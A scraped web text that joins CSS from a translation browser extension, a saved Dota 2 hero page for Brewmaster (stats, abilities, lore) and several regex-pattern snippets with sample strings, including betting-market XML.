DTmPe6sYAko09+cC8Ftb29cuBcUrQcyVoz8l+ZsJNmmhP+G2t0SLI1vg6l/QuI3jEEVBqoLQ9DsbgILT19+O4bu3BLHKDFoLCA7SOJZEZSQTpY86X+/TK9XvmEyfR30aK4MUWjyffpdM4NjY2RyaZpXgizsSPeAKxuOZwxq0Wyj360DpFtpsvvm6sPyypbwzXbn5eYTWS206jXUhCv4gLA7sOk1OX2kE1kGaEAv4Y5RVq6RqtR8+OP3vrnaX9jRXq1kvT1/0/8rwADAJ+LRelLmVNwAAAAAElFTkSuQmCC) !important; } #lleo_icons a:hover { opacity: 1 !important; } #lleo_icons a.lleo_google {background-position:-34px 0 !important;} #lleo_icons a.lleo_multitran {background-position:-64px 0 !important;} #lleo_icons a.lleo_lingvo {background-position:-51px 0 !important; width: 12px !important;} #lleo_icons a.lleo_dict {background-position:-17px 0 !important;} #lleo_icons a.lleo_linguee {background-position:-81px 0 !important;} #lleo_icons a.lleo_michaelis {background-position:-98px 0 !important;} #lleo_dialog #lleo_contextContainer { margin: 0 !important; padding: 3px 15px 8px 10px !important; background: #eee !important; background: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#eee)) !important; background: -moz-linear-gradient(-90deg, #fff, #eee) !important; border-bottom: solid 1px #ddd !important; border-top-left-radius: 3px !important; border-top-right-radius: 3px !important; display: none !important; overflow: hidden !important; } #lleo_dialog .lleo_has_context #lleo_contextContainer { display: block !important; } #lleo_dialog #lleo_context { color: #444 !important; text-shadow: 1px 1px 0 #f4f4f4 !important; line-height: 12px !important; font-size: 11px !important; margin-left: 2px !important; } #lleo_dialog #lleo_context b { line-height: 12px !important; color: #000 !important; font-weight: bold !important; font-size: 11px !important; } /*#lleo_dialog #lleo_gBrand { color: #aaa !important; font-size: 10px !important; *//*padding-right: 52px !important;*//* padding-bottom: 14px !important; margin: -3px 4px 0 4px !important; background: left bottom url(data:image/png;base64,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) no-repeat !important; display: inline-block !important; float: right !important; } #lleo_dialog #lleo_gBrand.hidden { display: none !important; }*/ #lleo_dialog #lleo_translateContextLink { color: #444 !important; text-shadow: 1px 1px 0 #f4f4f4 !important; background: -webkit-gradient(linear, left top, left bottom, from(#f4f4f4), to(#ddd)) !important; background: -moz-linear-gradient(-90deg, #f4f4f4, #ddd) !important; border: solid 1px !important; box-shadow: 1px 1px 0 #f6f6f6 !important; border-color: #999 #aaa #aaa #999 !important; -moz-border-radius: 2px !important; -webkit-border-radius: 2px !important; border-radius: 2px !important; padding: 0 3px !important; font-size: 11px !important; text-decoration: none !important; margin: 1px 5px 0 !important; display: inline-block !important; white-space: nowrap !important; } #lleo_dialog #lleo_translateContextLink:hover { background: #f8f8f8 !important; } #lleo_dialog #lleo_translateContextLink.hidden { visibility: hidden !important; } #lleo_dialog #lleo_setTransForm { display: block !important; margin-top: 3px !important; padding-top: 5px !important; /* Set position and background because the form might be overlapped by an image when no translations */ position: relative !important; background: #fff !important; z-index: 10 !important; padding-bottom: 10px !important; padding-left: 16px !important; } #lleo_dialog .lleo-custom-translation { padding: 4px 5px !important; border: solid 1px #ddd !important; border-radius: 2px !important; width: 90% !important; min-width: 270px !important; background: -webkit-gradient(linear, 0 0, 0 20, from(#f1f1f1), to(#fff)) !important; background: -moz-linear-gradient(-90deg, #f1f1f1, #fff) !important; font: normal 13px Arial, Helvetica !important; line-height: 15px !important; } #lleo_dialog .lleo-custom-translation:hover { border: solid 1px #aaa !important; } #lleo_dialog .lleo-custom-translation:focus { background: #FFFEC9 !important; } #lleo_dialog *.hidden { display: none !important; } #lleo_dialog .infinitive{ color: #D56E00 !important; text-decoration: none; border-bottom: 1px dotted #D56E00 !important; } #lleo_dialog .infinitive:hover{ border: none !important; } #lleo_dialog .lleo_separator { height: 1px !important; background: #eee; margin-top: 10px !important; background: -webkit-linear-gradient(left, rgba(255,255,255,1) 0%,#eee 8%,rgba(255,255,255,1) 80%) !important; background: -moz-linear-gradient(left, rgba(255,255,255,1) 0%, #eee 8%, rgba(255,255,255,1) 80%) !important; background: -ms-linear-gradient(left, rgba(255,255,255,1) 0%,#eee 8%,rgba(255,255,255,1) 80%) !important; background: linear-gradient(to right, rgba(255,255,255,1) 0%,#eee 8%,rgba(255,255,255,1) 80%) !important; } #lleo_dialog #lleo_trans { /*border-top: 1px solid #eeeeee !important;*/ padding: 5px 30px 0 14px !important; zoom: 1; } #lleo_dialog .lleo_clearfix { display: block !important; clear: both !important; visibility: hidden !important; height: 0 !important; font-size: 0 !important; } #lleo_dialog #lleo_picOuter table { width: 44px !important; position: absolute !important; right: 0 !important; top: 0 !important; vertical-align: middle !important; } #lleo_dialog #lleo_picOuter td { width: 38px !important; height: 38px !important; /*border: 1px solid #eeeeee !important;*/ vertical-align: middle !important; text-align: center !important; } #lleo_dialog #lleo_picOuter td div { height: 38px !important; overflow: hidden !important; } #lleo_dialog .lleo_empty { margin: 0 5px 7px !important; } #lleo_youtubeExportBtn { margin-left: 10px; height: 24px; } #lleo_youtubeExportBtn i { display: inline-block; width: 16px; height: 16px; background: 0 0 url(https://d144fqpiyasmrr.cloudfront.net/plugins/all/images/i16.png) !important; } #lleo_youtubeExportBtn .yt-uix-button-content { font-size: 12px; line-height: 2px; } /*** Parsed Lyrics Content *****************************/ .lleo_lyrics tran { background: transparent !important; border-radius: 2px !important; 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function() { $(this).hover( function () { //show its submenu $( this ).find( 'div' ).fadeIn( 'fast' ); }, function () { //hide its submenu $( this ).find( 'div' ).hide(); } ); }); }); </script> <!-- /header bar --> <div id="bodyContainer"> <div id="centerColOuter_NoCallout"> <div id="centerColTopShadow"><img src="./Hero - Brewmaster_files/centercolbox_top_shadow.png" width="984" height="25"></div> <div id="centerColTop"><img src="./Hero - Brewmaster_files/centercolbox_top.png" width="984" height="9"></div> <div id="centerColContainer"> <div id="centerColContent"> <h1>Brewmaster</h1> <div id="heroTopPortraitContainer"> <img id="heroTopPortraitIMG" src="./Hero - Brewmaster_files/brewmaster_full.png" width="256" height="144"> </div> <p id="heroBioRoles"><span class="bioTextAttack">Melee</span> - Carry - Durable - Initiator - Pusher</p> <div class="centerColHR"></div> <h3>Overview</h3> <div class="redboxOuter"> <div class="redboxContent"> <div class="redboxTop"></div> <div id="overviewInner"> <div id="overviewHeroLeft"> <div id="heroPrimaryPortraitHolder"> <img id="heroPrimaryPortraitImg" src="./Hero - Brewmaster_files/brewmaster_vert.jpg" width="235" height="272"> <img id="heroPrimaryPortraitOverlay" src="./Hero - Brewmaster_files/heroprimaryportrait_overlay.png" width="243" height="280" border="0"> </div> <div id="overviewPrimaryStats"> <img style="top:83px" id="overviewIcon_Primary" src="./Hero - Brewmaster_files/overviewicon_primary.png" width="40" height="40"> <img title="Intelligence" id="overviewIcon_Int" src="./Hero - Brewmaster_files/overviewicon_int.png" width="33" height="33"> <div class="overview_StatVal" id="overview_IntVal">14 + 1.25</div> <img title="Agility" id="overviewIcon_Agi" src="./Hero - Brewmaster_files/overviewicon_agi.png" width="33" height="33"> <div class="overview_StatVal" id="overview_AgiVal">22 + 1.95</div> <img title="Strength" id="overviewIcon_Str" src="./Hero - Brewmaster_files/overviewicon_str.png" width="33" height="33"> <div class="overview_StatVal" id="overview_StrVal">23 + 2.90</div> <img title="Damage" id="overviewIcon_Attack" src="./Hero - Brewmaster_files/overviewicon_attack.png" width="46" height="35"> <div class="overview_StatVal" id="overview_AttackVal">29 - 36</div> <img title="Movespeed" id="overviewIcon_Speed" src="./Hero - Brewmaster_files/overviewicon_speed.png" width="63" height="39"> <div class="overview_StatVal" id="overview_SpeedVal">300</div> <img title="Armor" id="overviewIcon_Defense" src="./Hero - Brewmaster_files/overviewicon_defense.png" width="39" height="37"> <div class="overview_StatVal" id="overview_DefenseVal">2.08</div> </div> </div> <div id="overviewHeroAbilities"> <div class="overviewAbilityRow"> <div class="abilityIconHolder"><img abilityname="brewmaster_thunder_clap" class="overviewAbilityImg abilityIconWithTooltip" src="./Hero - Brewmaster_files/brewmaster_thunder_clap_hp1.png" width="90" height="90"></div> <div class="overviewAbilityRowDescription"> <h2>Thunder Clap</h2> <p>Slams the ground, dealing damage and slowing the movement speed and attack rate of nearby enemy land units.</p> </div> <br clear="left"> </div> <div class="overviewAbilityRow"> <div class="abilityIconHolder"><img abilityname="brewmaster_drunken_haze" class="overviewAbilityImg abilityIconWithTooltip" src="./Hero - Brewmaster_files/brewmaster_drunken_haze_hp1.png" width="90" height="90"></div> <div class="overviewAbilityRowDescription"> <h2>Drunken Haze</h2> <p>Drenches a small area in alcohol, causing their movement speed to be reduced, and causing their attacks to have a chance to miss.</p> </div> <br clear="left"> </div> <div class="overviewAbilityRow"> <div class="abilityIconHolder"><img abilityname="brewmaster_drunken_brawler" class="overviewAbilityImg abilityIconWithTooltip" src="./Hero - Brewmaster_files/brewmaster_drunken_brawler_hp1.png" width="90" height="90"></div> <div class="overviewAbilityRowDescription"> <h2>Drunken Brawler</h2> <p>Gives a chance to avoid attacks and to deal critical damage. Drunken Brawler will always trigger if you have not attacked, or have not been attacked, in the last several seconds. Stacks diminishingly with other sources of Evasion.</p> </div> <br clear="left"> </div> <div class="overviewAbilityRow"> <div class="abilityIconHolder"><img abilityname="brewmaster_primal_split" class="overviewAbilityImg abilityIconWithTooltip" src="./Hero - Brewmaster_files/brewmaster_primal_split_hp1.png" width="90" height="90"></div> <div class="overviewAbilityRowDescription"> <h2>Primal Split</h2> <p>Splits Brewmaster into elements, forming 3 specialized warriors, adept at survival. If any of them survive until the end of their summoned timer, the Brewmaster is reborn. Upgradable by Aghanim's Scepter.</p> </div> <br clear="left"> </div> </div> <br clear="left"> </div> <div class="redboxBottom"></div> </div> </div> <h3>Bio</h3> <div class="redboxOuter"> <div class="redboxContent"> <div class="redboxTop"></div> <div id="bioInner"> Deep in the Wailing Mountains, in a valley beneath the Ruined City, the ancient Order of the Oyo has for centuries practiced its rites of holy reverie, communing with the spirit realm in grand festivals of drink. Born to a mother's flesh by a Celestial father, the youth known as Mangix was the first to grow up with the talents of both lineages. He trained with the greatest aesthetes of the Order, eventually earning, through diligent drunkenness, the right to challenge for the title of Brewmaster, that appellation most honored among the contemplative malt-brewing sect. <br><br>As much drinking competition as mortal combat, Mangix for nine days drank and fought the elder master. For nine nights they stumbled and whirled, chugged and struck, until at last the elder warrior collapsed into a drunken stupor, and a new Brewmaster was named. Now the new, young Brewmaster calls upon the strength of his Oyo forebears to speed his staff. When using magic, it is to his spirit ancestors that he turns. Like all Brewmasters before him, he was sent out from his people with a single mission. He wanders the land, striving toward enlightenment through drink, searching for the answer to the ancient spiritual schism. Hoping to think the single thought that will unite the spirit and physical planes again. <br clear="both"> </div> <div class="redboxBottom"></div> </div> </div> <h3>Stats</h3> <div class="redboxOuter"> <div class="redboxContent"> <div class="redboxTop"></div> <div id="statsInner"> <div id="statsLeft"> <div class="statRow"> <div class="statRowCol">25</div> <div class="statRowCol">15</div> <div class="statRowCol">1</div> Level </div> <div class="statRowB"> <div class="statRowColW">2,289</div> <div class="statRowColW">1,358</div> <div class="statRowColW">587</div> Hit Points </div> <div class="statRow"> <div class="statRowColW">832</div> <div class="statRowColW">410</div> <div class="statRowColW">182</div> Mana </div> <div class="statRowB"> <div class="statRowColW">142-149</div> <div class="statRowColW">93-100</div> <div class="statRowColW">52-59</div> Damage </div> <div class="statRow"> <div class="statRowColW">11</div> <div class="statRowColW">6</div> <div class="statRowColW">2</div> Armor </div> </div> <div id="statsRight"> <div class="statRow">&nbsp;</div> <div class="statRowB"> <div class="statRowCol2W">1800 / 800</div> Sight Range </div> <div class="statRow"> <div class="statRowCol2W">128</div> Attack Range </div> <div class="statRowB"> <div class="statRowCol2W">900</div> Missile Speed </div> </div> <br clear="both"> </div> <div class="redboxBottom"></div> </div> </div> <h3>Abilities</h3> <div class="redboxOuter"> <div class="redboxContent"> <div class="redboxTop"></div> <div id="abilitiesInner"> <div class="abilitiesInsetBoxTop"></div> <div class="abilitiesInsetBoxInner"> <div class="abilitiesInsetBoxContent"> <div class="abilityHeaderBox"> <div class="abilityIconHolder2"><img abilityname="brewmaster_thunder_clap" class="overviewAbilityImg" src="./Hero - Brewmaster_files/brewmaster_thunder_clap_hp2.png" width="105" height="105"></div> <div class="abilityHeaderRowDescription"> <h2>Thunder Clap</h2> <p>Slams the ground, dealing damage and slowing the movement speed and attack rate of nearby enemy land units.</p> </div> <div class="abilityHeaderRowDescriptionRight"> <div class="cooldownMana"><div class="mana"><img alt="Mana Cost" title="Mana Cost" class="manaImg" src="./Hero - Brewmaster_files/mana.png" width="16" height="16" border="0"> <span class="manaCoolKey">Mana Cost:</span> 90/105/130/150</div><div class="cooldown"><img alt="Cooldown" title="Cooldown" class="cooldownImg" src="./Hero - Brewmaster_files/cooldown.png" width="16" height="16" border="0"> <span class="manaCoolKey">Cooldown:</span> 13</div><br clear="left"></div> </div> <br clear="left"> </div> <div class="abilityFooterBox"> <div class="abilityFooterBoxLeft"> ABILITY: <span class="attribVal">No Target</span><br>DAMAGE TYPE: <span class="attribVal">Magical</span><br>PIERCES SPELL IMMUNITY: <span class="attribVal">No</span><br> </div> <div class="abilityFooterBoxRight">RADIUS: <span class="attribVal">400 / 400 / 400 / 400</span><br> DAMAGE: <span class="attribVal">100 / 175 / 250 / 300</span><br> MOVEMENT SLOW: <span class="attribVal">25% / 35% / 45% / 55%</span><br> ATTACK SLOW: <span class="attribVal">25 / 35 / 45 / 55</span><br> HERO DURATION: <span class="attribVal">4</span><br> CREEP DURATION: <span class="attribVal">8 / 8 / 8 / 8</span></div> <br clear="left"> </div> <div class="abilityVideoContainer"> <iframe title="YouTube video player" width="868" height="491" src="./Hero - Brewmaster_files/iff_66q_-WI.html" frameborder="0" allowfullscreen=""></iframe> </div> <div class="abilityLore">A slam of Mangix' mighty keg starts the festivities.</div> </div> </div> <div class="abilitiesInsetBoxBottom"></div> <div class="abilitiesInsetBoxTop"></div> <div class="abilitiesInsetBoxInner"> <div class="abilitiesInsetBoxContent"> <div class="abilityHeaderBox"> <div class="abilityIconHolder2"><img abilityname="brewmaster_drunken_haze" class="overviewAbilityImg" src="./Hero - Brewmaster_files/brewmaster_drunken_haze_hp2.png" width="105" height="105"></div> <div class="abilityHeaderRowDescription"> <h2>Drunken Haze</h2> <p>Drenches a small area in alcohol, causing their movement speed to be reduced, and causing their attacks to have a chance to miss.</p> </div> <div class="abilityHeaderRowDescriptionRight"> <div class="cooldownMana"><div class="mana"><img alt="Mana Cost" title="Mana Cost" class="manaImg" src="./Hero - Brewmaster_files/mana.png" width="16" height="16" border="0"> <span class="manaCoolKey">Mana Cost:</span> 50</div><div class="cooldown"><img alt="Cooldown" title="Cooldown" class="cooldownImg" src="./Hero - Brewmaster_files/cooldown.png" width="16" height="16" border="0"> <span class="manaCoolKey">Cooldown:</span> 8</div><br clear="left"></div> </div> <br clear="left"> </div> <div class="abilityFooterBox"> <div class="abilityFooterBoxLeft"> ABILITY: <span class="attribVal">Unit Target</span><br>AFFECTS: <span class="attribVal">Enemy Units</span><br>PIERCES SPELL IMMUNITY: <span class="attribVal">No</span><br> </div> <div class="abilityFooterBoxRight">RADIUS: <span class="attribVal">200</span><br> HERO DURATION: <span class="attribVal">8 / 8 / 8 / 8</span><br> CREEP DURATION: <span class="attribVal">12 / 12 / 12 / 12</span><br> MOVEMENT SLOW: <span class="attribVal">14% / 18% / 22% / 26%</span><br> MISS CHANCE: <span class="attribVal">45% / 55% / 65% / 75%</span></div> <br clear="left"> </div> <div class="abilityVideoContainer"> <iframe title="YouTube video player" width="868" height="491" src="./Hero - Brewmaster_files/o5T4GnOGj5o.html" frameborder="0" allowfullscreen=""></iframe> </div> <div class="abilityLore">The Order of the Oyo's solution to all problems - another round!</div> </div> </div> <div class="abilitiesInsetBoxBottom"></div> <div class="abilitiesInsetBoxTop"></div> <div class="abilitiesInsetBoxInner"> <div class="abilitiesInsetBoxContent"> <div class="abilityHeaderBox"> <div class="abilityIconHolder2"><img abilityname="brewmaster_drunken_brawler" class="overviewAbilityImg" src="./Hero - Brewmaster_files/brewmaster_drunken_brawler_hp2.png" width="105" height="105"></div> <div class="abilityHeaderRowDescription"> <h2>Drunken Brawler</h2> <p>Gives a chance to avoid attacks and to deal critical damage. Drunken Brawler will always trigger if you have not attacked, or have not been attacked, in the last several seconds. Stacks diminishingly with other sources of Evasion.</p> </div> <div class="abilityHeaderRowDescriptionRight"> </div> <br clear="left"> </div> <div class="abilityFooterBox"> <div class="abilityFooterBoxLeft"> ABILITY: <span class="attribVal">Passive</span><br> </div> <div class="abilityFooterBoxRight">DODGE CHANCE: <span class="attribVal">10% / 15% / 20% / 25%</span><br> CRIT CHANCE: <span class="attribVal">10% / 15% / 20% / 25%</span><br> CRIT DAMAGE: <span class="attribVal">200%</span><br> CERTAIN TRIGGER TIMER: <span class="attribVal">16 / 14 / 12 / 10</span></div> <br clear="left"> </div> <div class="abilityVideoContainer"> <iframe title="YouTube video player" width="868" height="491" src="./Hero - Brewmaster_files/mYA6AFcxVhk.html" frameborder="0" allowfullscreen=""></iframe> </div> <div class="abilityLore">When Mangix won his title as the Brewmaster of the Order of Oyo, he also claimed his place in the mastery of inebriation.</div> </div> </div> <div class="abilitiesInsetBoxBottom"></div> <div class="abilitiesInsetBoxTop"></div> <div class="abilitiesInsetBoxInner"> <div class="abilitiesInsetBoxContent"> <div class="abilityHeaderBox"> <div class="abilityIconHolder2"><img abilityname="brewmaster_primal_split" class="overviewAbilityImg" src="./Hero - Brewmaster_files/brewmaster_primal_split_hp2.png" width="105" height="105"></div> <div class="abilityHeaderRowDescription"> <h2>Primal Split</h2> <p>Splits Brewmaster into elements, forming 3 specialized warriors, adept at survival. If any of them survive until the end of their summoned timer, the Brewmaster is reborn. Upgradable by Aghanim's Scepter.</p> </div> <div class="abilityHeaderRowDescriptionRight"> <div class="cooldownMana"><div class="mana"><img alt="Mana Cost" title="Mana Cost" class="manaImg" src="./Hero - Brewmaster_files/mana.png" width="16" height="16" border="0"> <span class="manaCoolKey">Mana Cost:</span> 125/150/175</div><div class="cooldown"><img alt="Cooldown" title="Cooldown" class="cooldownImg" src="./Hero - Brewmaster_files/cooldown.png" width="16" height="16" border="0"> <span class="manaCoolKey">Cooldown:</span> 140/120/100</div><br clear="left"></div> </div> <br clear="left"> </div> <div class="abilityFooterBox"> <div class="abilityFooterBoxLeft"> ABILITY: <span class="attribVal">No Target</span><br> </div> <div class="abilityFooterBoxRight">DURATION: <span class="attribVal">15 / 17 / 19</span></div> <br clear="left"> </div> <div class="abilityVideoContainer"> <iframe title="YouTube video player" width="868" height="491" src="./Hero - Brewmaster_files/uLqYQIf9OuE.html" frameborder="0" allowfullscreen=""></iframe> </div> <div class="abilityLore">It isn't clear whether Mangix is consciously aware of his potent bond with nature, as it often occurs in the midst of a drunken stupor.</div> </div> </div> <div class="abilitiesInsetBoxBottom"></div> </div> <div class="redboxBottom"></div> </div> </div> </div> </div> <div id="centerColBottom"><img src="./Hero - Brewmaster_files/centercolbox_bottom.png" width="984" height="9"></div> <div id="centerColBottomShadow"><img src="./Hero - Brewmaster_files/centercolbox_bottom_shadow.png" width="984" height="25"></div> </div> </div> </center> </body></html>
Match links in html
2015-07-31T21:33:34.000Z
first word and resulting string
(\S+) (.+)
add asdf asdf asdf
first word plus string
2014-09-05T16:11:52.000Z
^[\s].+\s$
Remove whitespace character at start and end of string
2016-07-21T09:03:19.000Z
Change the delimited from "," to something else if required.
(^([^,]+),)(([^,]+,))
ytfytg7yu,ytfytvfuy,ugbvbvuygh,uhbvuhbuyh
Get First two entries with delimiter ","
2018-04-24T16:57:44.000Z
<NewMarket sysname="SOCCER(.*?)ODD_EVEN
<NewMarket sysname="SOCCER_CORNERS_FIRST_HALF_DOUBLE_CHANCE" name="1st Half Corners Double Chance" voidRule="false" settleRule="[Period] &gt;= [HT]"> <Mappings> <OldMarket sysname="SOCCER_CORNERS_HALFTIME_DOUBLE_CHANCE" /> </Mappings> <MarketDefinition captionEn="1st Half Corners Double Chance" captionEl="Διπλή Ευκαιρία Κόρνερ Ημιχρόνου"> <Odds> <Bet code="1X" name="HomeDraw" captionEn="{HomeTeam} / Draw" settleRule="[HomeCorners1H] &gt;= [AwayCorners1H]" /> <Bet code="X2" name="DrawAway" captionEn="{AwayTeam} / Draw" settleRule="[HomeCorners1H] &lt;= [AwayCorners1H]" /> <Bet code="12" name="HomeAway" captionEn="{HomeTeam} / {AwayTeam}" settleRule="[HomeCorners1H] &gt; [AwayCorners1H] || [HomeCorners1H] &lt; [AwayCorners1H]" /> </Odds> </MarketDefinition> </NewMarket> <NewMarket sysname="SOCCER_CORNERS_ODD_EVEN" name="Corners Odd/Even" voidRule="false" settleRule="[Period] &gt;= [FT]"> <Mappings> <OldMarket sysname="SOCCER_CORNERS_ODD_EVEN" /> </Mappings> <MarketDefinition captionEn="Match Corners Odd/Even" captionEl="Μονά Ή Ζυγά Κόρνερ Αγώνα"> <Odds> <Bet code="1" name="Odd" captionEn="Odd" settleRule="([TotalCorners] % 2) = 1" /> <Bet code="0" name="Even" captionEn="Even" settleRule="([TotalCorners] % 2) = 0" /> </Odds> </MarketDefinition> </NewMarket> <NewMarket sysname="SOCCER_CORNERS_FIRST_HALF_ODD_EVEN" name="1st Half Corners Odd/Even" voidRule="false" settleRule="[Period] &gt;= [HT]"> <Mappings> <OldMarket sysname="SOCCER_CORNERS_FIRST_HALF_ODD_EVEN" /> </Mappings> <MarketDefinition captionEn="1st Half Odd/Even Corners" captionEl="Μονά Ή Ζυγά Κόρνερ 1ου Ημιχρόνου"> <Odds> <Bet code="1" name="Odd" captionEn="Odd" settleRule="([TotalCorners1H] % 2) = 1" /> <Bet code="0" name="Even" captionEn="Even" settleRule="([TotalCorners1H] % 2) = 0" /> </Odds> </MarketDefinition> </NewMarket> <NewMarket sysname="SOCCER_CORNERS_SECOND_HALF_ODD_EVEN" name="2nd Half Corners Odd/Even" voidRule="false" settleRule="[Period] &gt;= [FT]"> <Mappings> <OldMarket sysname="SOCCER_CORNERS_SECOND_HALF_ODD_EVEN" /> </Mappings> <MarketDefinition captionEn="2nd Half Odd/Even Corners" captionEl="Μονά Ή Ζυγά Κόρνερ 2ου Ημιχρόνου"> <Odds> <Bet code="1" name="Odd" captionEn="Odd" settleRule="([TotalCorners2H] % 2) = 1" /> <Bet code="0" name="Even" captionEn="Even" settleRule="([TotalCorners2H] % 2) = 0" /> </Odds> </MarketDefinition> </NewMarket> <NewMarket sysname="SOCCER_CORNERS_RESULT_NO_DRAW" name="Corners Draw No Bet" voidRule="[Period] &gt;= [FT] &amp;&amp; [HomeCorners] = [AwayCorners]" settleRule="[Period] &gt;= [FT] &amp;&amp; [HomeCorners] != [AwayCorners]"> <Mappings> <OldMarket sysname="SOCCER_CORNERS_RESULT_NO_DRAW" /> </Mappings> <MarketDefinition captionEn="Match Corners Draw no bet" captionEl="Νικητής Κόρνερ Αγώνα Ισοπαλία ΄Οχι Στοίχημα"> <Odds> <Bet code="1" name="Home" captionEn="{HomeTeam}" settleRule="[HomeCorners] &gt; [AwayCorners]" /> <Bet code="2" name="Away" captionEn="{AwayTeam}" settleRule="[HomeCorners] &lt; [AwayCorners]" /> </Odds> </MarketDefinition> </NewMarket>
something - anything - something
2019-08-01T07:25:33.000Z